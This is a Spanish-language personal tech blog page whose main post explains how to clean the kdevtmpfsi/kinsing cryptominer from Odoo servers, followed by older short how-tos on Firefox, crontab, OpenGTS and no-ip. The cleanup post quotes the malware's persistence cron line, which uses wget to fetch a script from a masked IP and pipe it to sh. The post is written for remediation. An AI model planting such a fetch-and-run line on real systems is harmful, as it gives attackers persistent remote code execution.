sábado, 1 de marzo de 2025

Malware en Odoo: kdevtmpfsi

 

Solución

Si te ha tocado lidiar con el malware, sabrás que puede ser insistente. Si te está tocando resolverlo, acá van los pasos a seguir:

Primero, revertir todo lo que se hizo en postgres, o lo que es lo mismo, dejar el puerto 5432 cerrado, de ser posible desde un firewall; incluso si el VPS contratado tiene posibilidad de cerrar puertos desde la interfaz, hacerlo inmediatamente. De lo contrario cualquier solución será solo momentánea. Incluso, para los más exigentes, hasta recomiendo cambiarle el puerto desde la configuración de PostgreSQL y en odoo para que el propio sistema no utilice el puerto por defecto.

Ahora si, vamos a frenar la ejecusión del malware y de su contenedor:

pkill -9 -f kdevtmpfsi*
pkill -9 -f kinsing*

 Van a necesitar permisos sudo, y puede que lo encuentren con caracteres al final (siempre revisar con algun software tipo htop el nombre del proceso).

Luego lo eliminamos del disco:

find / -iname kdevtmpfsi* -exec rm -fv {} \;
find / -iname kinsing* -exec rm -fv {} \;

Ahora viene una parte muy variable, porque aunque hagamos todo esto y Odoo levante bien en pocas horas vamos a volver a tener el mismo problema. Los más despiertos se habrán dado cuenta de que se está ejecutando una crontab que lo revive al malware y esto es más dificil de eliminar porque la tenemos que buscar. Nos vamos a dirigir al siguiente directorio:

/var/spool/cron/crontabs

Y vamos a buscar algun archivo crontab con nombre sospechoso, en Odoo siempre lo vi con el nombre postgres, pero tambien se encuentra comúnmente como apache o www-data. Lo importante antes que nada es verificar su contenido, tiene que haber una linea que sea algo asi:

* * * * wget -q -O - http://xxx.xxx.xxx.xxx/lr.sh | sh > /dev/null 2>&1

Donde http://xxx.xxx.xxx.xxx va a ser una IP aleatoria, y si se fijan es un wget que descarga y ejecuta el malware constantemente. Al reiniciar el crontab, vamos a tener el sistema limpio nuevamente.

Otras Medidas

Realmente, muchas veces es poco lo que se puede hacer con estas cosas, pero recomiendo siempre lo normal en implementaciones donde se ejecuta algo tan delicado como Odoo. Para empezar, lo dicho al principio, tratar de no usar los puertos por defecto; incluso el de Odoo puede cambiarse con facilidad y aunque no lo parezca es el principal error en muchos casos. Otra cosa que suele pasar, al instalar Odoo solemos instalar el wget para traernos algunas dependencias extras. Lo más probable es que no lo usemos nunca más, entonces, ¿por qué lo dejamos instalado? Es un gran comando pero puede generar este tipo de problemas (lo mismo pasa con curl). Finalmente, tomarnos el tiempo para habilitar el firewall.

miércoles, 24 de abril de 2019

VID 20190413 103408

miércoles, 27 de marzo de 2013

Activar GetUserMedia en firefox para html5

Entra al navegador y en la barra de direcciones escribe "about:config" sin las comillas.
Crea una entrada nueva haciendo click en cualquier opcion, luego en nuevo y por último en lógico


Agrega la entrada "media.navigator.enabled" y establece su valor a true (en caso que no lo haga automaticamente).

Y listo con eso ya puedes acceder tanto a la camara como al microfono en aplicaciones html5

jueves, 29 de noviembre de 2012

Desarrollo de hardware y software para automatización de invernaderos hidropónicos y aeropónicos sin uso de microcontroladores

Actualmente me encuentro diseñando un software escrito en VB6 para el manejo, control y monitorización de invernaderos hidrpónicos.
El hardware esta compuesto por un controlador de 8 rele de estado solido para activar electrovalvulas.
Controlador de 8 rele de estado solido para activación automatizada de ventiladores, lamparas, apertura de ventanas valvulas selenoides para control de nutrientes, etc.
Controlador de humedad relativa y sensor de temperatura.
Medidor de EC para la medición correcta de la cantidad de nutrientes.
Generador de CO2 por electrolisis para fertirrigación carbónica y control de pH
Medidor de pH

miércoles, 11 de julio de 2012

Como ejecutar una tarea cada 10 segundos con crontab

Muchas veces queremos ejecutar ciertas tareas en linux, pero cada cierto valor en segundos. Con crontab no se puede utilizar en segundos, pero existe un truquito con el crontab podemos usarlo.
Escribimos en la consola:

sudo crontab -e


Elegimos nuestro editor favorito (Ejemplo nano)
Luego escribimos lo siguiente:
En este caso quiero mover un archivo que se encuentra en los temporales hacia asterisk

*/1 * * * * mv /tmp/*.call /var/spool/asterisk/outgoing
*/1 * * * * sleep 10 && mv /tmp/*.call /var/spool/asterisk/outgoing
*/1 * * * * sleep 20
&& mv /tmp/*.call /var/spool/asterisk/outgoing
*/1 * * * * sleep 30
&& mv /tmp/*.call /var/spool/asterisk/outgoing
*/1 * * * * sleep 40
&& mv /tmp/*.call /var/spool/asterisk/outgoing
*/1 * * * * sleep 50
&& mv /tmp/*.call /var/spool/asterisk/outgoing

viernes, 6 de julio de 2012

Activar notificaciones para geocercas en OpenGts

Activar notificaciones para las geocercas.

archivo private.xml:
"zoneInfo.showAutoNotify" = true

deben tener activos el correo y el servidor smtp

jueves, 5 de julio de 2012

Instalar no-ip en centos 6

Crear una cuenta en no-ip
a traves de la consola y como super usuario teclear el siguiente comando:
yum install noip

Despues de instalado para configurar el cliente teclear:
noip2 -C 

Te preguntará lo siguiente:
  • username (de acceso al servicio No-Ip.com)
  • password
  • tiempo de actualizacion (en minutos)
  • actualizar (pulsa "y") 
Finalizamos:
chkconfig noip on
service noip start

Otros comandos útiles:
noip2 Ejecuta el cliente actualizador de No-Ip
noip2 -S Despliega el status actual
noip2 -C Volver a ejecutar el configurador
noip2 -K pid Termina el proceso indicado por pid

Instalando en ubuntu 12:

sudo apt-get install wget
wget -c http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar xvzf noip-duc-linux.tar.gz
cd noip-2.1.9-1/
make
make install